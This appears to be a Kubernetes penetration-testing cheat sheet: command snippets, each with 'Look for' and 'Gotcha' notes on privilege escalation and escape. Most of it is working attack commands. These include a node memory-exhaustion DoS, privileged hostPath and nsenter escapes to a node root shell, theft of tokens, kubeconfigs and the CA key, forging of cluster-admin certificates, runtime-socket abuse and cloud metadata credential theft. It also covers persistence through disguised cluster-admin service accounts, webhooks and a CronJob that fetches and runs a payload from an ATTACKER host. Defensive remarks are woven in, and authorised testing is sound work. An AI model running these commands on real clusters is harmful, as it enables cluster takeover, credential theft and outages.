stress-ng --vm 2 --vm-bytes 2G --timeout 30s # 2 workers, 2G each, hog the node's RAM
stress-ng --cpu $(nproc) --timeout 30s # peg every core the pod can see
# no stress-ng and can't install? a one-liner does the memory half:
python3 -c "a=[]\nwhile True: a.append(' '*10**7)" # balloon until the node OOM-kills something
# prove it from the outside while it runs (needs metrics-server):
kubectl top pod <pod> -n <ns> # run twice: watch MEMORY jump to ~2Gi then fall back after timeoutLook for: Under load kubectl top pod shows the pod pulling far more than any sane workload (the lab jumps to 2073Mi, then drops to 16Mi once stress-ng exits). If the node has no spare headroom the kubelet starts evicting the lowest-QoS pods on that node, so neighbours in other namespaces begin restarting even though you never touched them.
Gotcha: This only works because the pod has no resources.limits: a limit is a hard cgroup cap and stress-ng just gets OOM-killed inside its own pod instead of taking the node down. So the real finding is not 'I ran stress-ng', it's 'this namespace has no LimitRange forcing defaults', which is what makes every naked pod on a shared node a DoS primitive. Do not run this on a cluster you don't own: with autoscaling on you're not causing an outage, you're writing someone a cloud bill, and OOM eviction hits real tenants. metrics-server must be installed or kubectl top returns nothing, which is itself a sign nobody is watching resource use.
# precondition: you can create pods in some namespace
kubectl auth can-i create pods -n <ns>
# drop a full tools pod and get an interactive shell (build your own image, don't trust a stranger's)
kubectl run tools -it --image=<your-registry>/pentest-tools -n <ns> -- sh
# one-shot container introspection from inside it: runtime, caps, seccomp, AppArmor, blocked syscalls
amicontained
# now scan the internal-only services that have no route from outside the cluster
nikto -host http://<internal-svc> # web vuln scan of a ClusterIP service
nmap -p- <internal-svc-or-cidr> # east-west port sweep from your new box
# no create-pods? the same trick works as an ephemeral debug container on a pod you can already reach:
kubectl debug -it <pod> --image=<your-registry>/pentest-tools --target=<container> -n <ns>Look for: amicontained prints the runtime (kube), namespaces, AppArmor profile, the capability bounding set, seccomp mode and the exact blocked-syscall list, so one command tells you how boxed in the pod is. From the tools pod, internal services that are unreachable from outside (ClusterIP only, like an internal metadata-db on port 80) answer normally, because you are now inside the flat pod network.
Gotcha: This is not an exploit, it is the consequence of a permission: anyone who can create pods (or create pods/ephemeralcontainers for the debug form) can pull ANY image into the cluster and use it as a fully-equipped attack box, which is why create-pods in a namespace is close to code execution on its nodes. Build your own tools image rather than running a public one you have not read, a 'hacker-container' from an unknown registry can just as easily exfiltrate for its author. A minimal or distroless base only slows the FOOTHOLD pod, it does nothing once you can schedule a fat image of your choosing, so the real control is RBAC on pod creation plus an admission policy pinning allowed registries.
# if you can create pods, mount the host and break out
kubectl run p --image=alpine --overrides='{"spec":{"hostPID":true,"containers":[{"name":"p","image":"alpine","securityContext":{"privileged":true},"stdin":true,"tty":true,"command":["sh"],"volumeMounts":[{"mountPath":"/host","name":"h"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}' -itLook for: The create pods verb with no Pod Security admission. A privileged pod with a hostPath of / is a root shell on the node.
Gotcha: create pods is one of the most dangerous verbs in RBAC precisely because of this. Pod Security Admission (baseline/restricted) is what stops it, plain RBAC alone doesn't.
# a privileged pod you can exec into may hold a stronger SA token
kubectl exec <priv-pod> -- cat /run/secrets/kubernetes.io/serviceaccount/tokenLook for: Pods running as cluster-admin-ish service accounts (CI runners, operators, ingress controllers). Their token is your upgrade.
Gotcha: The path up is usually: weak SA -> exec into a pod running a strong SA -> use that token. Operators and controllers are the juicy targets because they need broad rights to work.
kubectl auth can-i escalate roles --token=$TOKEN
kubectl auth can-i bind clusterroles --token=$TOKEN
kubectl auth can-i impersonate users --token=$TOKENLook for: escalate/bind let you grant yourself more than you have; impersonate lets you act as another (more privileged) user or SA directly.
Gotcha: These verbs exist to be safe by default (you normally can't grant rights above your own), so a Role that includes them is almost always a misconfiguration and a direct path to cluster-admin.
kubectl get ns <target-ns> --show-labels | grep pod-security
# then try the hostPath pod from the privesc note aboveLook for: A pod-security.kubernetes.io/enforce=restricted (or baseline) label on the namespace. If it's there, the privileged hostPath pod gets rejected outright, PodSecurity reads the pod spec even though your Role's create pods verb was granted.
Gotcha: I built a Role that could only create pods, then created a root pod with a hostPath mount and RBAC let it straight through, because RBAC never opens the pod spec. It only died once the namespace had PodSecurity enforcing restricted. No label on the namespace means no check, so this is worth confirming before you assume the escape is blocked, or before you assume it'll work.
kubectl auth can-i get secrets -n <ns>
kubectl auth can-i create pods -n <ns>
kubectl auth can-i --list --as=system:serviceaccount:<ns>:<sa> -n <ns>Look for: An identity that is denied get secrets but allowed create pods (or deployments, jobs, cronjobs) in the same namespace. That is a full read of every Secret in that namespace: mount it into a pod you control and cat the file, or just read env.
Gotcha: This is by design, not a bug, and it is the thing I see missed in nearly every RBAC review. Two doors lead to a Secret, get on secrets and create on workloads, and people only ever lock the first. When I read a Role now I stop asking what it can read and start asking what it can run.
kubectl get clusterrolebindings -o custom-columns=NAME:.metadata.name,ROLE:.roleRef.name,SUBJECTS:.subjects[*].name | grep -v '^system:'
kubectl get rolebindings -A -o wide | grep -i cluster-admin
kubectl auth can-i --list --as=system:serviceaccount:<tenant-ns>:defaultLook for: A tenant user or service account bound via ClusterRoleBinding, or a RoleBinding that references a powerful ClusterRole like cluster-admin. Either one escapes the namespace the tenant was supposed to be confined to.
Gotcha: The classic tenancy mistake: a ClusterRoleBinding ignores namespaces entirely, so one accidental cluster-wide grant hands a single tenant the run of every other tenant's namespace. RoleBinding-in-the-namespace is the only correct pattern for a tenant. If a tenant identity can list pods in a namespace that isn't theirs, isolation is already broken regardless of what NetworkPolicy and quotas say.
kubectl get priorityclass -o custom-columns=NAME:.metadata.name,VALUE:.value,DEFAULT:.globalDefault
kubectl auth can-i use priorityclass/system-cluster-critical --as=system:serviceaccount:<tenant-ns>:default
kubectl get events --field-selector reason=Preempted -ALook for: A tenant identity that can set a high-value priorityClassName (or use a system-*-critical class). PriorityClass use is RBAC-gated on the priorityclasses resource in scheduling.k8s.io; if a tenant can use a high one, they can evict other tenants' pods to force their own to schedule.
Gotcha: Preemption is a denial-of-service primitive nobody frames as one. If pod priority isn't locked down (RBAC on which classes a namespace may use, or an admission/Gatekeeper policy pinning each namespace to its classes), a tenant hands itself a high value and starves neighbours off full nodes, entirely within quota. Preempted events in another tenant's namespace are the smoking gun.
kubectl get pods -A -o jsonpath='{range .items[*]}{range .spec.containers[*]}{.metadata.namespace}{"/"}{.name}{"\t"}ro={.securityContext.readOnlyRootFilesystem}{" priv="}{.securityContext.privileged}{"\n"}{end}{end}'
# flag anything showing priv=true, regardless of the ro valueLook for: Containers that pair readOnlyRootFilesystem: true with privileged: true. The read-only disk makes them look hardened, but privileged means the container can reach the host kernel, /proc and host devices. The read-only setting stops apt, not a route to the node.
Gotcha: The thing that catches people: read-only holds even under privileged, so a package install failing feels like the control is working. It isn't the control that matters here. A privileged container owning the host has nothing to do with its own disk being read-only. Drop privileged; don't feel reassured by read-only next to it.
# hostPath of / mounted at /host (or /host-system). confirm the privilege, then escape:
capsh --print; mount | grep -i host
chroot /host bash # full interactive root shell ON THE NODE
# grab a ready-made node kubeconfig and use it against the API:
cat /host/etc/kubernetes/admin.conf # cluster-admin, control-plane nodes only
cat /host/var/lib/kubelet/kubeconfig # the node identity, present on every node
kubectl --kubeconfig /host/var/lib/kubelet/kubeconfig get nodes
cat /host/etc/kubernetes/pki/ca.key # forge any client cert (control-plane)
cat /host/var/lib/kubelet/pki/kubelet-client-current.pemLook for: A pod running privileged: true or with a hostPath volume of / mounted at /host or /host-system. Once the node root is inside the container you chroot into it for a full host shell, then read admin.conf (a cluster-admin kubeconfig on control-plane nodes), the CA key, or the kubelet's own kubeconfig for node-level API access.
Gotcha: hostPath is the most reliable escape there is and it needs no kernel bug, just the RBAC to create the pod and a namespace that does not block it. The nuance to know: /var/lib/kubelet/kubeconfig gives you the node identity (system:node:<name>), not cluster-admin. The Node authorizer scopes it, but it still reads the secrets and configmaps of every pod scheduled to that node and lists nodes. On a control-plane node, admin.conf or the CA key is game over for the whole cluster.
kubectl get pod <pod> -o jsonpath='{.spec.hostPID}{" "}{.spec.hostNetwork}{" "}{.spec.hostIPC}{"\n"}'
# hostPID pod:
ps -ef # you now see every process on the node
nsenter --target 1 --mount --uts --ipc --net --pid -- bashLook for: hostPID: true lets you see and signal every process on the node and nsenter into PID 1 for a host shell. hostNetwork: true puts you on the node's network stack, reaching localhost-only services like the kubelet and cloud agents. hostIPC shares memory with host processes.
Gotcha: These three get set for 'monitoring' or 'networking' pods and then copied around. hostPID plus a privileged or CAP_SYS_ADMIN container is a one-line nsenter escape. Always check the spec for them before reaching for a CVE, the easy door is usually open.
kubectl auth can-i create certificatesigningrequests
kubectl auth can-i update certificatesigningrequests/approval
# create a CSR with CN in group system:masters, approve it, then use the signed certLook for: Rights to create a CertificateSigningRequest and approve it (plus a signer that issues client-auth certs). Craft a CSR whose subject sits in the system:masters group, approve your own request, and the cluster hands you a cluster-admin client certificate.
Gotcha: This is a legitimate flow bent into a privesc, so it barely looks wrong in the audit log, just a CSR being approved. The two verbs are often split between roles on purpose, if one identity holds both, that's your finding. Certs don't expire on logout either, so it doubles as persistence.
kubectl auth can-i get nodes/proxy
kubectl get --raw "/api/v1/nodes/<node>/proxy/pods"
# nodes/proxy can reach the kubelet's exec/run endpoints on that nodeLook for: The nodes/proxy sub-resource in your permissions. It tunnels straight to the kubelet on a node, which can list pods and, on a misconfigured kubelet, exec into containers, bypassing a lot of API-level controls that only guard the front door.
Gotcha: nodes/proxy looks innocuous next to pods/exec in an RBAC review and it's genuinely powerful, it's a side entrance to the kubelet. Grep every role and binding for it, it's the sort of grant that gets handed to a monitoring agent and then reused.
kubectl auth can-i create serviceaccounts/token -n kube-system
kubectl create token <privileged-sa> -n kube-system --duration=24h
kubectl --token=<minted> auth can-i '*' '*' -ALook for: Permission to create serviceaccounts/token for a namespace that holds powerful SAs. kubectl create token then mints a fresh bearer token for that account, so you inherit its rights without ever touching its Secret. kube-system is the jackpot namespace here.
Gotcha: TokenRequest replaced the old forever-tokens, which is better security, but the create token verb is a quiet escalation if it's scoped too widely. People grant it on 'serviceaccounts' broadly and don't realise it means 'become any SA in here'.
kubectl auth can-i update deployments -n <ns>
kubectl auth can-i patch daemonsets -n <ns>
# patch in securityContext.privileged: true or a hostPath volume, wait for rolloutLook for: Update or patch rights on a Deployment, StatefulSet or DaemonSet. You don't need pods/create if you can edit the controller, patch a privileged container or a hostPath into the template and the controller schedules it for you. A DaemonSet lands you on every node at once.
Gotcha: RBAC reviews obsess over pods/create and wave through deployments/update, but editing the template is creating pods with extra steps. Admission policy (PSA restricted, Gatekeeper) has to guard the workload objects too, not just bare pods, or this walks straight through.
grep -q 'cgroup' /proc/filesystems && echo 'cgroup v1 present'
capsh --print | grep -i cap_sys_admin
# with CAP_SYS_ADMIN + cgroup v1, the release_agent trick runs a script on the hostLook for: cgroup v1 in use and CAP_SYS_ADMIN (or the CVE-2022-0492 path that abuses a user namespace without it). The classic release_agent escape mounts a cgroup, writes a host path into release_agent, and gets the kernel to run your script as root on the node when a cgroup empties.
Gotcha: CVE-2022-0492 (fixed in kernel 5.17-rc3) matters because it dropped the CAP_SYS_ADMIN requirement in some configs, so 'we don't grant SYS_ADMIN' stopped being a full answer. Seccomp and AppArmor block the classic version, which is a good reason to keep both on. Lab and authorised only.
runc --version 2>/dev/null
kubectl get nodes -o wide # containerRuntimeVersion column often shows runc
# runc <= 1.1.11 is vulnerable; fixed in 1.1.12Look for: A runc at or below 1.1.11. CVE-2024-21626 leaks an internal host file descriptor (fd/7) before pivot_root, so a container built or exec'd with its working directory set to /proc/self/fd/7 lands in the host filesystem. A node still on the old runc is escapable from a plain container.
Gotcha: This is a runtime bug, not a Kubernetes bug, so a fully patched cluster with a stale runc is still exposed, which is easy to miss if you only track the k8s version. Same story for the older CVE-2019-5736 runc overwrite. Confirm the runtime, not just the control plane.
ls -la /etc/kubernetes/manifests 2>/dev/null # from a hostPath mount of the node
# writing a pod manifest here makes the kubelet run it, no API server, no RBAC
kubectl get pods -A | grep -i <your-static-pod-name>Look for: Write access to /etc/kubernetes/manifests on a node (usually via a hostPath escape). The kubelet runs anything dropped there as a static pod, outside the API server and outside RBAC. It shows up as a mirror pod but nobody created it through the API.
Gotcha: Static pods are how the control plane bootstraps itself, so a malicious one blends in with apiserver and etcd pods. It survives API-level deletion because the kubelet keeps recreating it from disk, which makes it persistence as much as escalation. You need the file gone from the node.
# a privileged pod on the node, host root mounted at /host, no manifest to write
kubectl debug node/<node> -it --image=busybox -- chroot /host sh
# get tooling inside a distroless pod you already have (no shell in the image)
kubectl debug -it <pod> --image=busybox --target=<container> -- sh
# what you actually need for the node trick:
kubectl auth can-i create nodes/proxy; kubectl auth can-i '*' nodesLook for: kubectl debug node/<node> builds a pod on that node with the host namespaces shared and the node root filesystem at /host, which is a container escape you never had to hand-craft. kubectl debug <pod> --image=busybox attaches an ephemeral container so a distroless pod with no shell suddenly has one.
Gotcha: The node-debug pod needs only the ability to create pods on a node, which Pod Security Admission treats as a normal pod unless the namespace is restricted, so it slips past controls tuned to block obviously privileged specs. It is also loud: the pod is real and shows in the API, so it is escalation, not stealth.
# find the socket wherever it is mounted, the path is not always /run/containerd
mount | grep -iE 'sock|containerd|docker'; findmnt 2>/dev/null | grep -i sock
# a CI/build (docker-in-docker) pod may expose it at a custom path, e.g:
SOCK=/custom/containerd/containerd.sock # use whatever the mount showed
ls -l $SOCK /run/containerd/containerd.sock /run/crio/crio.sock 2>/dev/null
# no crictl in the image? bring your own, matched to the arch (uname first)
uname -a
wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-amd64.tar.gz -O /tmp/c.tgz
tar -xf /tmp/c.tgz -C /tmp/ && /tmp/crictl -r unix://$SOCK images
# ctr talks to containerd directly and also lists the hidden pause containers crictl omits
ctr -a $SOCK -n k8s.io images ls
ctr -a $SOCK -n k8s.io run --privileged --mount type=bind,src=/,dst=/host,options=rbind:rw docker.io/library/alpine:latest esc shLook for: A container runtime socket mounted into the pod: /run/containerd/containerd.sock, /run/crio/crio.sock, docker.sock, or one at a non-standard path a build pipeline chose (the mount output is how you find it). Whoever holds the socket starts a privileged container with the node root bind-mounted, which is root on the host.
Gotcha: This is the classic docker-in-docker (DIND) pipeline mistake: a CI or build pod mounts the host runtime socket so it can build images, and that socket is root on the node. People block docker.sock and forget the CRI socket, and they assume the standard path, so always read the real mount. crictl may be absent, but you can drop in a static binary, and ctr shipped with containerd often needs no auth against the socket at all.
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GKE/AKS have their own metadata paths and headersLook for: Node IAM role credentials. From a pod, if metadata isn't blocked, you inherit the node's cloud permissions and you're now attacking the account, not just the cluster.
Gotcha: This is how a container compromise becomes a cloud-account compromise. Blocking pod access to the metadata IP (NetworkPolicy / hardened IMDS) is the control. I wrote up node metadata exposure separately.
# is audit logging even on?
kubectl get --raw /api/v1/namespaces/kube-system/pods | grep -i auditLook for: Whether API audit logging is configured and at what level. On a real engagement this shapes how loud you can be; as a defender it's the gap you close first.
Gotcha: Lots of clusters run with audit logging off or at Metadata-only, so exec and secret reads leave little trace. I covered the four audit levels and what to alert on in the audit post.
Look for: Where persistence hides: a benign-looking DaemonSet, a mutating webhook, a cron job, or an extra token. On the flip side, note every object you create so it can be removed.
Gotcha: A mutating admission webhook is a nasty persistence spot because it touches every new pod. As the tester, don't leave it, or anything else, behind. Document and tear down.
ss -tulpn | grep LISTEN # what's listening, and on which interface
systemctl list-units --type=service --state=running
lsmod # loaded kernel modulesLook for: A weak or unexpected service (an old web server, a kubectl proxy on 0.0.0.0:8080 = unauth API access), ports bound to every interface that should be localhost, and obscure kernel modules a pod could auto-load and target.
Gotcha: Once you're on a node, its untidiness is your toolkit: a stray service, a wide-open proxy, a rarely-tested module. A node that's been hardened (services removed, modules blacklisted, ports firewalled) gives you almost nothing, which is exactly why defenders do the tidy.
sudo ufw status verbose 2>/dev/null; iptables -S 2>/dev/null # host firewall rules
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ # node's cloud roleLook for: A host firewall that's inactive or default-allow (nothing stopping east-west movement), SSH open to the world rather than a jump box, and a node IAM role you can borrow via the metadata endpoint.
Gotcha: Two least-privilege gaps to probe: the network (is there a real default-deny, or can I reach every port from here?) and identity (does this node's IAM role let me read a bucket or assume something bigger?). A flat firewall plus an over-permissioned node role turns one foothold into the whole environment. When both are locked down, a compromise stays boxed in, which is the defender's whole aim.
grep Seccomp /proc/1/status # 0=disabled 1=strict 2=filtered
grep -i seccomp /proc/self/status
grep NoNewPrivs /proc/1/status # 1 blocks gaining privs via execveLook for: Seccomp: 0 means no syscall filter at all, so every call the kernel offers is on the table. Seccomp: 2 means a filter is active and the dangerous calls are probably already blocked.
Gotcha: A container shares the host kernel, so the syscalls it can make are its reach against the host. Seccomp 0 is a gift: mount, ptrace, unshare and setns may all work, and those are escape tooling. Under a filter they return EPERM and the escape attempt dies quietly, which is exactly why a defender should turn it on.
strace -f -e trace=network,process ./suspicious-bin # what does it call?
strace -c <cmd> # tidy summary of the syscall types it uses
sudo strace -p $(pidof etcd) # attach to a running daemon (it slows it down)Look for: What a binary really does: connect/socket (it phones out), execve (it spawns a shell), ptrace/mount/setuid (it's reaching for privilege).
Gotcha: Two ways this bites. strace rides on ptrace, which seccomp or a hardened profile may block, so it can simply fail inside a container. And the loud calls you make to break out, mount, unshare, ptrace, setns, are precisely what an eBPF monitor like Tracee alarms on. Moving quietly means making only the calls the workload already makes.
grep Seccomp /proc/1/status # 0/disabled = no filter, 2 = filtered
# from outside, per pod:
kubectl get pod <p> -o jsonpath='{.spec.securityContext.seccompProfile.type}{"\n"}'
# unset or 'Unconfined' = no syscall filterLook for: A pod with no seccompProfile set, which is the Kubernetes default. Docker filters syscalls out of the box; Kubernetes does not carry that over, so a plain pod is Unconfined unless the cluster set SeccompDefault or the manifest asks for RuntimeDefault.
Gotcha: This is a genuinely common gap: teams assume the Docker default profile protects their pods, and it doesn't. Unconfined means mount, unshare, setns, keyctl and the other breakout-flavoured calls are all on the table for you. As a defender, seccompProfile: RuntimeDefault on every pod closes most of it for one line.
docker run r.j3ss.co/amicontained amicontained # lists blocked syscalls + seccomp mode
# or in a k8s pod:
kubectl run ac --image=r.j3ss.co/amicontained -- amicontained; kubectl logs acLook for: The Seccomp: filtering|disabled line and the blocked-syscall count. ~60+ blocked (incl. mount/reboot/kexec/init_module) means a real filter; ~20 with 'disabled' means it's only capabilities and namespaces holding you back, not seccomp.
Gotcha: amicontained tells you exactly how much of the breakout playbook is still available before you waste time on calls that will just return EPERM. A tight whitelist profile (defaultAction ERRNO) is far harder to work around than a blacklist, because the calls you'd reach for were never enumerated to be allowed.
cat /proc/1/attr/current # 'docker-default (enforce)' = confined, 'unconfined' = not
aa-status 2>/dev/null # from the node
kubectl get pod <p> -o jsonpath='{.spec.securityContext.appArmorProfile.type}{"\n"}'Look for: Whether the container sits under an AppArmor profile. unconfined in /proc/1/attr/current means no path-level restriction; a named profile in enforce mode constrains which files and paths you can read or write.
Gotcha: Seccomp and AppArmor are different locks: seccomp gates which syscalls, AppArmor gates which files those syscalls may touch. A pod can have RuntimeDefault seccomp yet be AppArmor-unconfined, so you can still write anywhere the allowed syscalls reach - drop a tool, write a cron job, tamper with a file. Unconfined is the signal to look for.
capsh --print 2>/dev/null # human-readable current caps
grep Cap /proc/self/status # CapEff bitmask
getpcaps 1Look for: The effective capability set. UID 0 is not the same as holding every capability. Watch for the dangerous extras a misconfig may have added: SYS_ADMIN, SYS_PTRACE, SYS_MODULE, NET_ADMIN, DAC_READ_SEARCH, SYS_TIME.
Gotcha: A default container keeps ~14 caps, so mount/settimeofday/etc fail even as root. But a pod with add: ["SYS_ADMIN"] or privileged: true hands you breakout primitives - SYS_ADMIN, SYS_MODULE and SYS_PTRACE are direct routes out. Decode CapEff fast: 0000003fffffffff (or 000001ffffffffff) means all caps = effectively privileged.
opa fmt --write policy.rego
opa test . -v
opa eval -d policy.rego -i input.json 'data.reports.authz.allow'Look for: Green tests, and specifically the negative ones. A test_x_cannot_y that asserts not allow is what catches the day somebody widens a rule by accident. opa eval with a saved input file is the fastest way to see why a rule is undefined.
Gotcha: Two things bite here. OPA 1.0 made if and contains mandatory, so every pre-2025 tutorial's allow { ... } fails to parse on a current binary. And in a Gatekeeper ConstraintTemplate the Rego must read input.review.object, not input.request.object: a comprehension over a missing path returns an empty set rather than an error, so the constraint ends up rejecting correctly-labelled objects instead of doing nothing.
grep -n 'encryption-provider-config' /etc/kubernetes/manifests/kube-apiserver.yaml
ps aux | grep [k]ube-apiserver | tr ' ' '\n' | grep encryption
apt-get install -y etcd-client # if etcdctl is missing
ETCDCTL_API=3 etcdctl --cacert /etc/kubernetes/pki/etcd/ca.crt --cert /etc/kubernetes/pki/etcd/server.crt --key /etc/kubernetes/pki/etcd/server.key get /registry/secrets/default/<name> | hexdump -C | head
kubectl get secrets -A -o json | kubectl replace -f - # rewrite so existing Secrets get encryptedLook for: Readable ASCII in the right-hand column of the hexdump means no encryption at rest. A k8s:enc:secretbox:v1:key1: (or aesgcm/aescbc) prefix means it is on. On the control plane, read the EncryptionConfiguration itself and check the provider ORDER, not just that the flag exists.
Gotcha: Three traps. identity: {} listed as the FIRST provider means 'store as-is', so the config applies cleanly, reports no error and encrypts nothing; identity belongs last, but it must still be there or the API server cannot read pre-existing Secrets. Enabling encryption does nothing to Secrets that already exist until they are rewritten, so always re-check an OLD key after the rewrite, not a new one. And on algorithms: aescbc has a known padding oracle weakness, aesgcm needs its key rotated roughly every 200k writes, so secretbox is the sane local default and KMS v2 is the production answer.
kubectl get secrets -A --field-selector type=kubernetes.io/service-account-token
cat /var/run/secrets/kubernetes.io/serviceaccount/token # from inside a pod
kubectl get secret <token-secret> -o jsonpath='{.data.token}' | base64 -dLook for: Any Secret of type kubernetes.io/service-account-token on a cluster running 1.24 or later. Kubernetes stopped auto-creating these, so one that exists was either left behind by an upgrade or created deliberately.
Gotcha: The token a pod gets today is projected, bound to that pod and audience, and expires. A token living in a Secret is none of those things: static, no expiry, usable from anywhere that can reach the API server. Kubernetes will eventually label unused ones invalid, but the default clean-up period is a year, so 'eventually' is doing heavy lifting.
grep -c -E 'vmx|svm' /proc/cpuinfo # from a node: can it even run Kata?
ps -ef | grep -F "$(cat /proc/1/comm)" # the container's PID 1, seen from the host
cat /proc/self/status | grep -i seccomp # is a seccomp filter even applied?Look for: The same workload process visible with a different PID on the host, and whether the node has any sandboxing in play at all. On a normal runtime the host can see and kill container processes directly, which is the whole reason a host kernel LPE from inside a pod is game over.
Gotcha: This is the argument for sandboxing in one command: the container's PID 1 shows up in the host's ps, and the host can kill it without asking the runtime. Namespaces stop the container looking out; they do nothing to stop the host, or a kernel bug, reaching in. Hardening (seccomp, AppArmor, dropped caps) narrows what the pod can ask for but never changes that the shared kernel is answering.
openssl s_client -connect target:8443 </dev/null 2>/dev/null | openssl x509 -noout -subject
# then test whether that identity is actually restricted to its intended endpointsLook for: A client certificate the server accepts (its CN is the workload identity), and whether every endpoint treats that identity the same. mTLS proving CN=service-a is genuine does not mean service-a should reach the payments path.
Gotcha: A common design flaw: teams enforce mTLS, see 'authenticated' and stop, with no per-identity authorisation behind it. So any workload holding a mesh-issued cert can call any service in the mesh. Authentication (who) and authorisation (what they may do) are separate; a cluster with strong mTLS and no authorization policy is flat behind the front door.
# these two are the classic pair that fire on stock rules:
kubectl exec -ti <pod> -- bash
cat /etc/shadow
# and the rule that catches the first one:
grep -A6 'Terminal shell in container' /etc/falco/falco_rules.yamlLook for: Terminal shell in container fires the moment an interactive shell gets a TTY inside a container, and the sensitive-file rules fire on reads of things like /etc/shadow. The alert carries the container id, the image repository and the namespace, so it is not a vague signal, it names the pod I touched.
Gotcha: Worth being precise about what this means. Falco reports, it does not block. So a rule firing does not stop the shell, it just means somebody could know. Whether they do depends entirely on where the alerts are pointed, and on a lot of clusters that is stdout on the node and nowhere else.
grep -E 'stdout_output|file_output|syslog_output|program_output|http_output|json_output' -A2 /etc/falco/falco.yaml
grep -n 'rules_files' -A6 /etc/falco/falco.yaml
ls /etc/falco/rules.d/ /etc/falco/config.d/ 2>/dev/null
# if only stdout_output is on, the DaemonSet's own pod logs ARE the alert channel, read them live:
kubectl logs -f -l app=falco -n <falco-ns> # watch detections in near real-time by label
kubectl logs -l app=falco --since=10m | grep -i 'shell\|shadow\|sensitive' # did my last move fire a rule?Look for: Which channels are enabled: true, and whether json_output is on. Only stdout_output enabled means the alerts exist and nobody is reading them. Also read the rules_files order: a custom file listed before falco_rules.yaml will be silently overwritten by the defaults. With only stdout enabled you can read them straight from the pod logs by label (kubectl logs -l app=falco), which is also how you confirm whether your own last action tripped a rule.
Gotcha: This is the finding I would write up on a review, not the missing tool. Falco installed with default rules and no output channel is a control that passes an inventory question and catches nothing. Check it as a defender too: custom rules go in falco_rules.local.yaml with an override block, never in falco_rules.yaml, because upgrades replace that file.
kubectl auth can-i create pods/exec -n <ns> # who can even open a shell
kubectl exec -ti <pod> -- sh # works fine on a read-only container
# tools run from memory leave the root filesystem untouchedLook for: Whether your identity (or a compromised one) can create pods/exec. If yes, a read-only root filesystem does nothing to stop you getting an interactive shell, reading mounted Secrets and the service account token, and running fileless tooling. The container's files never change and it is still fully out of its trusted state.
Gotcha: The point I keep coming back to: 'the root filesystem is read-only' is not an answer to 'was this container tampered with'. It only says nothing was written to one disk. Pair read-only with runAsNonRoot, dropped capabilities, no privileged and tight RBAC on exec, and enforce the set at admission (PodSecurityPolicy is gone since 1.25, use Pod Security Admission or Gatekeeper/Kyverno).
TOKEN=$(curl -s -H 'X-aws-ec2-metadata-token-ttl-seconds: 60' -X PUT http://169.254.169.254/latest/api/token)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
aws sts get-caller-identity; aws iam list-attached-role-policies --role-name <node-role>Look for: Once you have the node role's temporary creds from metadata, enumerate what that role can actually do in the cloud: S3, other instances, secrets managers, the ability to describe or modify the cluster. A permissive node role turns a single pod into a foothold in the whole account.
Gotcha: Grabbing the creds is half the job, the real finding is scope, an over-broad node role is how a container escape becomes a cloud breach. IMDSv2 (the token dance above) plus a hop-limit of 1 is meant to stop pods reaching this at all, check whether it's enforced.
kubectl --token=<stolen> auth can-i --list --namespace=<other-ns>
kubectl --token=<stolen> get secrets -A 2>/dev/null | head
kubectl --token=<stolen> get rolebindings,clusterrolebindings -A -o wide | grep <sa-name>Look for: A namespaced service-account token that turns out to have cluster-scoped rights, or a role binding in another namespace. Test the stolen token against namespaces it has no business touching, tenant isolation that's only namespaces (no cluster-scope review) falls apart here.
Gotcha: The mistake that enables this is almost always a ClusterRoleBinding where a RoleBinding would do, it silently grants the SA the same power everywhere. A 'namespaced' tenant with one cluster-wide binding isn't isolated, and this is the check that proves it.
kubectl create sa ops-metrics -n kube-system
kubectl create clusterrolebinding ops-metrics --clusterrole=cluster-admin --serviceaccount=kube-system:ops-metrics
kubectl create token ops-metrics -n kube-system --duration=8760h # long-lived break-glassLook for: A service account with an innocuous name in kube-system, bound to cluster-admin, with a long-lived token you keep. It reads like normal cluster plumbing in a list of bindings, so it survives casual review while giving you admin whenever you want it.
Gotcha: Naming is the whole trick, ops-metrics or node-exporter hides in plain sight next to real system SAs. The way defenders catch it is diffing ClusterRoleBindings against a known-good baseline, not eyeballing the list. Authorised testing only, and clean it up.
# with /etc/kubernetes/pki/ca.key + ca.crt from a hostPath escape:
openssl genrsa -out breakglass.key 2048
openssl req -new -key breakglass.key -subj '/CN=breakglass/O=system:masters' -out breakglass.csr
openssl x509 -req -in breakglass.csr -CA ca.crt -CAkey ca.key -CAcreateserial -days 3650 -out breakglass.crtLook for: The cluster CA key and cert. Signing a client cert with an O=system:masters subject gives you cluster-admin that the API server trusts implicitly, with no Secret, no binding and no SA to delete. Valid until the cert expires or the CA is rotated.
Gotcha: This is the worst thing to lose in the whole cluster, and it's why the hostPath/CA-key note earlier matters so much. There's no revocation short of rotating the CA, which reissues everything. If you found the key in a test, that's a critical finding on its own, flag it hard.
kubectl get mutatingwebhookconfiguration -o custom-columns=NAME:.metadata.name,SVC:.webhooks[*].clientConfig.service.name
# a webhook you control re-injects your sidecar into every new pod
kubectl get mutatingwebhookconfiguration <yours> -o yaml | grep -iE 'rules|operations|resources'Look for: A mutating webhook, registered by you, that injects a sidecar or an env var into pods as they're created. Kill your pods and the next scheduled workload brings your payload back, because the webhook rewrote it on the way in. Persistence that lives in the control plane, not a pod.
Gotcha: This outlives the obvious clean-up because responders delete pods and workloads, not webhook configs. Defenders should treat MutatingWebhookConfiguration as a sensitive object and alert on changes to it. It's the same primitive as the exploitation-phase webhook, reused for staying in.
ps -ef | grep kube-apiserver | grep -oE 'audit-[a-z-]+=[^ ]+'
# no --audit-policy-file flag = the API server isn't auditing at all
cat /etc/kubernetes/audit/policy.yaml 2>/dev/null | grep -iE 'level:|resources:'Look for: Whether the API server runs with --audit-policy-file at all, and if it does, what the policy ignores. Many clusters audit at Metadata level or skip whole resource groups, so the request body, and often Secret access, never gets recorded. No flag means no audit trail.
Gotcha: People assume Kubernetes logs everything by default. It doesn't, audit is off until you configure a policy, and a lot of policies are written to be quiet for cost reasons. Knowing what isn't logged tells you where you're invisible, and it's a real defender finding to hand back.
# needs create on cronjobs (or jobs) in a namespace you can reach
kubectl create cronjob sync --image=alpine --schedule='*/10 * * * *' -- /bin/sh -c 'wget -qO- http://ATTACKER/x | sh'
# blend it in: name and namespace like a real platform job
kubectl get cronjob -A # what real ones look like to copy
kubectl -n kube-system get cronjob,jobLook for: A CronJob you created firing every few minutes to re-pull and run a payload. It survives you losing your foothold, because the control plane keeps scheduling it, and a Job left behind by hand keeps a completed pod around with your command in its spec.
